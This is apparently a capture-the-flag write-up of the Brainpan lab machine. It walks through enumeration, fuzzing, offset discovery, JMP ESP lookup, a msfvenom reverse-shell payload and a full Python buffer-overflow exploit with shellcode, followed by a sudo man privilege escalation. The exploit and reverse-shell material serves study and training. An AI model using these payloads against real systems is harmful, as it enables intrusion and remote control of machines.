Post
Cancel

TryHackMe/Vulnhub - Brainpan

Originally posted on Vulnhub by superkojiman, Brainpan is a vulnerable machine, highly recommended to complete before taking the OSCP exam due to the buffer overflow vulnerability that has to exploited.

The vulnerable program is a Windows executable.

We will analyze and exploit it from our Kali Linux machine.

Enumeration

nmap scan

nmap reveals two open ports:

1
2
3
4
5
6
7
$ nmap -min-rate 5000 --max-retries 1 -sV -oN brainpan.txt 10.10.92.146
Nmap scan report for 10.10.92.146
Host is up (0.037s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE VERSION
9999/tcp  open  abyss?
10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)

I couldn’t figure out which OS is running on the target machine using nmap -O so I pinged it and I assumed it was a Linux server because of the TTL value (See default TTL (Time To Live) values of different OS):

1
2
3
4
5
6
7
8
9
$ ping -c3 10.10.92.146
PING 10.10.92.146 (10.10.92.146) 56(84) bytes of data.
64 bytes from 10.10.92.146: icmp_seq=1 ttl=63 time=37.7 ms
64 bytes from 10.10.92.146: icmp_seq=2 ttl=63 time=37.6 ms
64 bytes from 10.10.92.146: icmp_seq=3 ttl=63 time=37.2 ms

--- 10.10.92.146 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 37.203/37.503/37.704/0.216 ms

Port 9999 (Brainpan)

Port 10000 (SimpleHTTPServer)

dirb can help us to find a /bin directory on the web page:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ dirb http://$TARGET:10000 -o services/10000-http.txt

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

OUTPUT_FILE: services/10000-http.txt
START_TIME: Sun Aug  1 18:09:55 2021
URL_BASE: http://10.10.92.146:10000/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://10.10.92.146:10000/ ----
+ http://10.10.92.146:10000/bin (CODE:301|SIZE:0)                                                                                                          
+ http://10.10.92.146:10000/index.html (CODE:200|SIZE:215)
                                                                                                                                                            
-----------------
END_TIME: Sun Aug  1 18:15:39 2021
DOWNLOADED: 4612 - FOUND: 2

An executable called brainpan.exe can be downloaded from here:

Using file tells us this a 32-bit Windows program:

1
2
$ file brainpan.exe 
brainpan.exe: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows

Exploitation

This executable is the same as the one on the port 9999 of the target machine.

In order to run it from our Kali Linux machine, we’ll be using wine:

Step 1: Fuzzing

The program is waiting for password from the user input.

During this first step called “fuzzing”, we’ll be sending a bunch of characters in order to crash the program. This will potentially reveals a buffer overflow vulnerability.

I used the following script to do so:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import socket
import time
import sys

buffer = b"A" * 100
target = '127.0.0.1'
port = 9999

while True:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((target, port))
        s.send((b"                          >> " + buffer))
        s.close()
        time.sleep(1)
        buffer = buffer + b"A" * 100
    except:
        print(f"Fuzzing crashed at {len(buffer)} bytes...")
        sys.exit(1)

As we can see from the screenshots above, the program tried to access to the address 0x41414141 and crashed.

This means we successfully overwrite EIP and the program crashed after copying 529 bytes to the buffer. Since 0x41414141 is just the hexadecimal representation of 0xAAAA.

Step 2: Finding the offset

Now, we want to know: how much characters do we need at least to crash the program?

This amount is called the offset. In order to find it, we can rely on two Metasploit scripts (called pattern_create.rb and pattern_offset.rb) or simply go manually.

Method#1: pattern_create + pattern_offset

  • We create a pattern of 529 characters with pattern_create.rb:
1
$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 529 > pattern.txt
  • We send this pattern to our wine local instance of brainpan.exe:
1
2
3
4
5
6
7
8
9
10
11
12
13
import socket
import time

target = '127.0.0.1'
port = 9999

with open("pattern.txt") as f:
    buffer = f.read().strip().encode()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.send((b"                          >> " + buffer))
s.close()
  • We inspect the value of EIP:

  • We give this value to pattern_offset.rb to compute the exact number of characters needed to crash the program:
1
2
$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x41357141
[*] Exact match at offset 495

Method#2: manually

Since I saw the message “529 bytes copied to buffer” on the debug console, I tried many values (525, 500, …) until I found 495 was the exact offset.

1
2
3
4
5
6
7
8
9
10
11
12
13
import socket
import time
import sys

offset = 495
buffer = b"A" * offset + b"B" * 4
target = '127.0.0.1'
port = 9999

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.send((b"                          >> " + buffer))
s.close()

By placing BBBB at the end of my payload, I thought: “I will find the offset after EIP’s value will be 42424242:

Step 3: Identifying bad characters (ollydbg)

In order to generate a shellcode that will work, we have to identify the bad characters first:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import socket
import time
import sys

# \x00
badchars = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

offset = 495
buffer = b"A" * offset + b"B" * 4 + badchars
target = '127.0.0.1'
port = 9999

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.send((b"                          >> " + buffer))
s.close()

To inspect the program’s memory I attached the brainpan process to ollydbg on my Kali machine as follows:

All the characters are here (there are no bad characters):

Step 4: Finding JMP ESP

Before continuing, we need to find a jmp esp instruction to redirect the execution flow at the start of our payload/shellcode.

Why JMP ESP instead of directly jumping into the stack?

Using ollydbg, I found the following address:

However, to ensure it was the correct address I ran brainpan.exe on a Windows VM and inspected it using Immunity Debugger and mona.py (as explained on this video):

The address I got was 0x311712F3.

Step 5: Generating shellcode

To generate a shellcode we can use msfvenom:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ msfvenom -p linux/x86/shell_reverse_tcp lhost=$(vpnip) lport=4444 --format python --bad-chars "\x00" --var-name shellcode
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of python file: 550 bytes
shellcode =  b""
shellcode += b"\xba\x9d\x29\x7f\xfa\xdd\xc4\xd9\x74\x24\xf4"
shellcode += b"\x58\x33\xc9\xb1\x12\x31\x50\x12\x03\x50\x12"
shellcode += b"\x83\x75\xd5\x9d\x0f\xb4\xfd\x95\x13\xe5\x42"
shellcode += b"\x09\xbe\x0b\xcc\x4c\x8e\x6d\x03\x0e\x7c\x28"
shellcode += b"\x2b\x30\x4e\x4a\x02\x36\xa9\x22\x9f\xc3\x6a"
shellcode += b"\x21\xf7\xd1\x6c\x54\x54\x5f\x8d\xe6\x02\x0f"
shellcode += b"\x1f\x55\x78\xac\x16\xb8\xb3\x33\x7a\x52\x22"
shellcode += b"\x1b\x08\xca\xd2\x4c\xc1\x68\x4a\x1a\xfe\x3e"
shellcode += b"\xdf\x95\xe0\x0e\xd4\x68\x62"

Note: First I thought the target was a Windows machine and I used a windows/shell_reverse_tcp payload. Surprisingly, it worked and I got a Windows shell (Z:\home\puck>)…very weird! (need to figure out)

Step 6: Writing final exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import socket
import pwn

shellcode =  b""
shellcode += b"\xba\x9d\x29\x7f\xfa\xdd\xc4\xd9\x74\x24\xf4"
shellcode += b"\x58\x33\xc9\xb1\x12\x31\x50\x12\x03\x50\x12"
shellcode += b"\x83\x75\xd5\x9d\x0f\xb4\xfd\x95\x13\xe5\x42"
shellcode += b"\x09\xbe\x0b\xcc\x4c\x8e\x6d\x03\x0e\x7c\x28"
shellcode += b"\x2b\x30\x4e\x4a\x02\x36\xa9\x22\x9f\xc3\x6a"
shellcode += b"\x21\xf7\xd1\x6c\x54\x54\x5f\x8d\xe6\x02\x0f"
shellcode += b"\x1f\x55\x78\xac\x16\xb8\xb3\x33\x7a\x52\x22"
shellcode += b"\x1b\x08\xca\xd2\x4c\xc1\x68\x4a\x1a\xfe\x3e"
shellcode += b"\xdf\x95\xe0\x0e\xd4\x68\x62"

jmp_esp = 0x311712F3 #0x7BCCE5D9
offset = 495
buffer = b"A" * offset + pwn.p32(jmp_esp) + b"\x90" * 32 + shellcode

target = '10.10.92.146'
#target = '127.0.0.1'
port = 9999

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target, port))
    s.send((b"                          >> " + buffer))
    s.close()
except:
    print(f"Error connecting to the server...")

And we got a shell as puck:


Privesc

Upgrade shell

Inspecting /home

Upload Linpeas

With the program that we can run with sudo, we can open manual pages.

The program certainly rely on the man command so I looked for GTFOBins man and this is what I found:

Indeed, it worked, we own root:


Useful resources

This post is licensed under CC BY 4.0 by the author.